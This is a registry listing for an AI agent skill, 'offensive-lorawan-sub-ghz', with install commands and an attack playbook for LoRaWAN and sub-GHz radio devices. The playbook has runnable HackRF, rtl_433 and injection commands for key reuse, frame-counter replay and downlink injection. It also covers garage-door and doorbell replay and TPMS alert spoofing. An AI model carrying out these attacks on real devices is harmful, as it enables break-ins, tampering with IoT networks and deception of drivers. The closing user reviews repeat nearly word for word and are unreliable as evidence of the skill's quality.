Agent skill / SnailSploit
### offensive-lorawan-sub-ghz
Core file
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Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-lorawan-sub-ghzExecute the skills CLI command in your project's root directory to begin installation:
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-lorawan-sub-ghzFetches offensive-lorawan-sub-ghz from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate offensive-lorawan-sub-ghz. Access via /offensive-lorawan-sub-ghzin your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
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Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-lorawan-sub-ghzWorks with
| name | offensive-lorawan-sub-ghz |
| description | "LoRaWAN and sub-GHz (433 / 868 / 915 MHz) attack methodology — LoRaWAN ABP/OTAA join attack, network/session key reuse, frame counter replay, downlink injection on TTN/Helium-style networks, sub-GHz protocol replay (KeeLoq garage doors, fixed-code remotes, TPMS spoofing, smart plug telemetry), HackRF / RTL-SDR / Flipper Zero workflows, signal analysis with Inspectrum / Universal Radio Hacker, and reconstruction of proprietary packet formats. Use for LoRaWAN deployments (smart cities, asset tracking, industrial telemetry), or any wireless device using the unlicensed 433/868/915 MHz bands (garage openers, doorbells, IoT sensors, RC equipment)." |
LoRaWAN provides long-range low-bitrate communication for IoT — common in smart cities, asset tracking, and industrial telemetry. Outside LoRaWAN, the 433 / 868 / 915 MHz ISM bands host garage doors, doorbells, smart plugs, weather stations, and TPMS — most with weak or no crypto.
| Tool | Range | Use |
|---|---|---|
| RTL-SDR | RX only, 24 MHz–1.7 GHz | Cheap reconnaissance |
| HackRF One | RX/TX, 1 MHz–6 GHz | Full transceiver |
| Flipper Zero | RX/TX, sub-GHz | Quick replays, fixed-code attacks |
| LimeSDR / BladeRF | RX/TX, wider band | Higher fidelity for LoRaWAN |
| YARD Stick One | TX-focused sub-GHz | Targeted replays |
| LoRa-specific gateway (RAK / Heltec) | LoRaWAN dual-direction | Standards-compliant LoRaWAN testing |
LoRaWAN is a MAC layer over LoRa physical (chirp spread spectrum). Devices either:
# Capture LoRa packets with HackRF + Inspectrum
hackrf_transfer -r capture.iq -f 868000000 -s 1000000 -n 60000000
# Or LoRa-specific: rak_common_for_gateway
# Decode with PHY + MAC stack
git clone https://github.com/Lora-net/LoRaMac-node
# Or use ChirpStack as a sniffing gateway
The Join-Request and Join-Accept are encrypted with the device's AppKey. With AppKey (extracted from device firmware — see offensive-iot):
ABP devices have NwkSKey + AppSKey flashed at manufacture. Common flaws:
# If you have NwkSKey + AppSKey + DevAddr, decode/inject with lorawan-test-tools
git clone https://github.com/IoTsec/loraserver-attack-tools
python lora_inject.py --nwkskey <NWKS> --appskey <APPS> --devaddr <ADDR>
Older LoRaWAN 1.0.x doesn't enforce strict frame counter monotonicity in all stacks. Replay an uplink with a different timestamp → server processes as fresh.
If you control AppSKey + NwkSKey, you can inject downlinks (configuration changes, remote commands) to devices.
# RTL-SDR live monitor
rtl_433 -f 433.92M -A # auto-decode many devices
gqrx # interactive spectrum analyzer
# Flipper Zero Sub-GHz menu: Read → identify modulation → capture → save
# Then replay from the saved file
# HackRF capture
hackrf_transfer -r garage.iq -f 433920000 -s 8000000 -n 80000000
# Inspectrum to visualize, identify OOK / FSK, decode bits
KeeLoq uses a 32-bit block cipher with a manufacturer key. The manufacturer key was extracted publicly years ago for major brands. With it:
# rolling-code-tools (research)
git clone https://github.com/AndrewMohawk/RollingPwn
Modern KeeLoq deployments (last 5 years) have rotated manufacturer keys, but legacy hardware (older garage doors, some industrial equipment) is in scope.
Many cheap garage openers, doorbells, and smart plugs use fixed codes — the same packet every time you press the button. Capture once, replay forever.
# Flipper Zero: Read → Save → Send (from saved file)
# Or with RFCat:
python -c "import rflib; ..."
# OR with HackRF:
hackrf_transfer -t replay.iq -f 433920000 -s 8000000
Tire-pressure monitoring sensors broadcast at 315/433 MHz with no authentication. Spoof low-pressure alerts:
# Capture legitimate TPMS
rtl_433 -f 315M -F json | grep TPMS
# Synthesize crafted alerts (custom modulator with HackRF)
# Useful for testing TPMS-aware vehicle systems or as denial-of-trust attack
# Universal Radio Hacker (URH) — visual reverse engineering
urh
# Load .iq capture, identify modulation visually,
# auto-detect symbols, decode bits, identify packet structure
URH walks you from raw RF to a parsed protocol description, even with no docs.
# 1. Identify band + modulation
rtl_433 -f <freq> -A # auto-detect known protocols
gqrx # spectrum view to find activity
# 2. For LoRaWAN
# - Set up gateway (or HackRF + LoRa decoding)
# - Capture joins + uplinks
# - Extract keys from device firmware (see offensive-iot)
# 3. For proprietary sub-GHz
# - Capture with HackRF / RTL-SDR
# - Visualize / decode with Inspectrum or URH
# - Replay or craft
# 4. Document modulation, frequency, packet format, replay viability
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
Registry listing for offensive-lorawan-sub-ghz matched our evaluation — installs cleanly and behaves as described in the markdown.
I recommend offensive-lorawan-sub-ghz for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
offensive-lorawan-sub-ghz reduced setup friction for our internal harness; good balance of opinion and flexibility.
offensive-lorawan-sub-ghz has been reliable in day-to-day use. Documentation quality is above average for community skills.
Keeps context tight: offensive-lorawan-sub-ghz is the kind of skill you can hand to a new teammate without a long onboarding doc.
Useful defaults in offensive-lorawan-sub-ghz — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
I recommend offensive-lorawan-sub-ghz for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
Registry listing for offensive-lorawan-sub-ghz matched our evaluation — installs cleanly and behaves as described in the markdown.
offensive-lorawan-sub-ghz fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
Keeps context tight: offensive-lorawan-sub-ghz is the kind of skill you can hand to a new teammate without a long onboarding doc.
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